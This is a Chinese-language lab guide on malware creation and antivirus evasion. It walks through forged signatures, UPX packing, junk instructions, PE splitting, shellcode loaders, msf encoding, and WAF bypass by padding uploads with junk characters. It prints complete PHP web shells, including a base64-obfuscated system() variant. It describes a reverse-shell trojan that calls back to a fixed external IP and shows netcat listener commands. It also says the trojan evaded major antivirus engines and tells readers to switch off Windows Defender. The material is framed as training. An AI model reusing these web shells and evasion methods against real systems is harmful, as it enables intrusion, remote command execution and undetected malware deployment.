【目的】
让学员通过该实验的练习主要掌握:
·基本的病毒分类及其制作方法
·病毒特征及检测方法
·病毒检测的绕过方法
【环境】
操作机:kali,靶机:win10
【工具】
python3,php7,netcat,msf,x64dbg,SigThief, donut,burpsuite ,中国蚁剑
【原理】
·检测技术
签名检测技术:PE文件数字签名是Authenticode数字签名格式,用于验证二进制程序的来源和完整性。
基于PKCS #7公开密钥加密标准签名数据,并使用X.509证书关联二进制文件和发布者。
在PE文件数据目录表中,存储着签名信息偏移地址和大小。
签名的验证可以使用Wintrust.lib库中的WinVerifyTrust函数实现。
其中验证包括签名是否存在以及签名是否有效。
签名存在只需要验证签名是否为\x00,签名有效通过hash值判断
特征码扫描技术:其基本机制为将扫描信息与病毒数据库(即所谓的“病毒特征库”)进行对照,如果信息与其中的任何一个病毒特征符合,杀毒软件就会判断此文件被病毒感染。
杀毒软件在进行查杀的时候,会挑选文件内部的一段或者几段代码来作为他识别病毒的方式,这种代码就叫做病毒的特征码。
在病毒样本中,抽取特征代码,抽取的代码比较特殊,不大可能与普通正常程序代码吻合。
抽取的代码要有适当长度,一方面维持特征代码的唯一性,另一方面保证病毒扫描时候不要有太大的空间与时间的开销。
·免杀技术
签名绕过:签名伪造的方式有两种,一种是在文件尾部添加伪造的签名数据,也就是本实验所用到的方法,但是并不能绕过hash值验证。另一种方法是修改系统签名获取机制。这种方法需要劫持dll难度较大。
加壳免杀:软件加壳其实也可以称为软件加密(或软件压缩),只是加密(或压缩)的方式与目的不一样罢了。壳就是软件所增加的保护,并不会破坏里面的程序结构,当我们运行这个加壳的程序时,系统首先会运行程序里的壳,然后由壳将加密的程序逐步还原到内存中,最后运行程序。
花指令免杀:花指令其实就是一段毫无意义的指令,也可以称之为垃圾指令。花指令是否存在对程序的执行结果没有影响,所以它存在的唯一目的就是阻止反汇编程序,或对反汇编设置障碍。
拆分PE文件:在特征码扫描中,为了保证不误杀,往往会提取同一个PE文件的多个特征码进行匹配,只有一个文件同时拥有这些特征码时才会被判定为木马文件,那么就可以利用将一个PE文件拆分成多个文件,分别上传来防止被检测。
加载器编写:shellcode由于可以随意地进行变化和还原,杀软的查杀难度较大。因此将木马shellcode化,再进行shellcode免杀是目前最流行的免杀方式之一。shellcode是一种地址无关代码,只要给他EIP就能够开始运行。shellcode已经有了,但是还需要获得运行权限,而加载器就是为了顺利运行shellcode。
二分PE:对于PE文件类型来说,并不能提取shellcode。相对于shellcode的没有地址标记,bin文件也是如此,所以我们用bin文件代替PE文件。同样的我们也需要一个加载器运行bin文件
混淆免杀:通过一定规律的编码算法,将对metaspolit、CS生成的shellcode进行编码/模糊处理/变形,从原始shellcode中删除所有无效的字符,从而逃避杀毒软件检测。
垃圾字符:有些老式的主机WAF软件为了不影响web服务器的性能,会对校验的用户数据设置大小上限,比如1M。所以可以通过构造大文件来绕过。
【步骤】
1.安装及配置环境
1.1获取qcow2文件,转为vmdk,用vmware打开vmdk文件,运行。开机PIN码为 2021。
1.2打开虚拟机设置,在“网络适配器”中选择“桥连模式”。
1.3等待虚拟机配置网络,如果弹出如下弹窗,选择“是”。
1.4检查windows defender
实验中发现windows defender的自动检测功能可能会在开机后以及待机恢复后自动开启。为了防止干扰试验,请先检查windows配置,方法为“设置”——“windows安全中心”——“病毒和威胁防护”——“病毒和威胁防护”设置下的“管理设置”,将“实时防护”改为“关”。
1.5开启apache
点击桌面上的phpstudy,将“Apache2.4.39”启动
1.6本实验的环境拓扑如下图
准备一台kali操作机一台Win10靶机和一个外网centos操作机来搭建实验环境(因为家用ip一般都会变动,所以用服务器,来避免每次实验都重写木马的外网ip),kali的内网ip为192.168.43.86,监听4444端口,windows10靶机的内网ip为192.168.43.106,centos操作机的外网ip为110.40.245.122,监听9999端口
实验上传文件备份于靶机右侧的文件夹中,内含“帮助文档”来介绍文件的用途
2.签名验证绕过实验
2.1利用msf生成exe木马
2.2尝试上传
2.3查看结果
并没有我们上传的文件,说明被删除。
2.4为木马添加签名
2.5再次上传
2.6验证结果
3.加壳绕过实验
3.1开启模拟病毒检测脚本
打开桌面上的“pack-junkinstruction快捷方式”文件夹,双击test.py
检测脚本代码:
1 | import os |
此脚本主要模拟了“特征码检测”的方法,为了确定特征码的有效性,提取地点为程序的text节,为了防止误报,部分程序提取了两个部分的特征码。才用每十秒检测一次的形式,如果被检测出病毒,脚本会自动删除文件;如果检测为“安全”,脚本会模拟人为操作“运行文件”。然后我上传了一个没有病毒的main.exe文件,并未被检测出来,并成功运行。
3.2在操作机上上访问 http://192.168.43.106:8082/
3.3在操作机上传client1.exe文件
client1.exe是由python脚本用pyinstaller转化而来的远程rce木马,代码如下:
1 | #!/usr/bin/python3 |
这个脚本的作用是远程RCE,即运行后向固定ip(操作机,因为家用机的ip会改变,所以我使用了服务器)发送连接请求,连接成功后接收对方的字符串并以指令方式执行,然后回传给操作机。
下图为病毒在virustotal的检测情况,可以看到本身绕过了360,腾讯,火绒,Microsoft等比较出名的杀毒检测。从这里我们可以得出:自己写的病毒很难被检测,现行的杀毒软件大部分还是针对市面上比较常见的病毒生成器和造成大规模伤害的病毒。
https://www.virustotal.com/gui/file/d1e1ef77e50b85dc38ec1c0af18f669a6f832866f00bceed94b0cd8b78e2a46e
3.4靶机脚本检测出木马,删除此文件
3.5在操作机再次上传经过upx加壳后的client2.exe文件,靶机脚本未检测出木马,并运行
3.6centos操作机监听并运行指令
在centos操作机上运行nc -l -v 9999,建立连接后运行dir,获取目录信息
4.花指令绕过实验
4.1开启模拟病毒检测脚本
打开桌面上的“pack-junkinstruction快捷方式”文件夹,双击test.py
4.2在操作机上上访问 http://192.168.43.106:8082/
4.3在操作机上传client1.exe文件
4.4靶机脚本检测出木马,删除此文件
4.5用x64dbj加入垃圾指令
例:由下图一加工成图二
4.6在操作机再次上传经过x64dbj花指令加工的client11.exe文件,靶机脚本未检测出木马,并运行
4.7centos操作机监听并运行指令
在centos操作机上运行nc -l -v 9999,建立连接后运行dir,获取目录信息
5.拆分PE绕过实验
5.1开启模拟病毒检测脚本
打开桌面上的“pack-junkinstruction快捷方式”文件夹,双击test.py
5.2在操作机上上访问 http://192.168.43.106:8082/
5.3在操作机上传client1.exe文件
5.4靶机脚本检测出木马,删除此文件
5.5在操作机再次上传经过拆分后的client1文件夹中的所有文件,靶机脚本未检测出木马,并运行
用pyinstaller拆分的文件
上传
5.6centos操作机监听并运行指令
在centos操作机上运行nc -l -v 9999,建立连接后运行dir,获取目录信息
6.加载器绕过
6.1编写loader
1 | import ctypes //数据类型转换 |
6.2生成shellcode
6.3填充shellcode
6.4运行加载器并查看结果
python loader.py
7.二分PE
7.1利用加载器原理编写peloader
1 | import ctypes //数据类型转换 |
7.2生成bin文件
7.3将payload.bin移到对应路径
7.4运行加载器并观察结果
python peloader.py
8.混淆绕过
8.1开启模拟病毒检测脚本
打开桌面上的“pack-junkinstruction快捷方式”文件夹,双击test.py
(具体脚本信息请参考README.md或加壳.md)
8.2在操作机上上访问 http://192.168.43.106:8082/
8.3在操作机上传msf4.exe文件
8.4靶机脚本检测出木马,删除此文件
8.5在操作机再次上传经过encode混淆后的msf5.exe文件,未检测出木马,开始运行
8.6centos操作机监听并运行指令
在kali操作机上用msf监听4444端口,发现建立连接,使用getdesktop指令,发现可以获取靶机信息
9.垃圾字符绕过
9.1在操作机上上访问 http://192.168.43.106:8083/
9.2编写php木马文件hack.php,内容如下,并上传,被waf拦截
1 | <?php @eval($_POST['a']);?> |
9.3用burpsuit抓包,并加入垃圾字符
下图一为原数据包,图二为改后数据包(在文件名前添加966位垃圾字符,使文件名长度为974位)
9.4显示上传成功
9.5用蚁剑连接成功
10.编码绕过
10.1在操作机上上访问 http://192.168.43.106:8082/
10.2在操作机上传一句话木马hack.php
内容为:
1 | <?php @system($_POST['a']);?> |
10.3被检测删除
10.4上传编码后的一句话木马
1 | <?php $a=base64_decode("c3lzdGVt");@$a($_POST['a']);?> |
10.5用蚁剑连接成功
【总结】
通过本实验的学习,要求学员学会使用sigthief伪造签名以及了解签名的机制与作用,加载器的编写和使用msf构造shellcode,编写加载器,通过分离文件代码找到特征码并修改,利用donut将exe转换为bin,学习编写简单的木马检测脚本,能总结寻找木马特有的特征的方法,学会简单的加壳技术并通过文件对比来确定其差异,学习二进制知识进行花指令编写
v1.5.2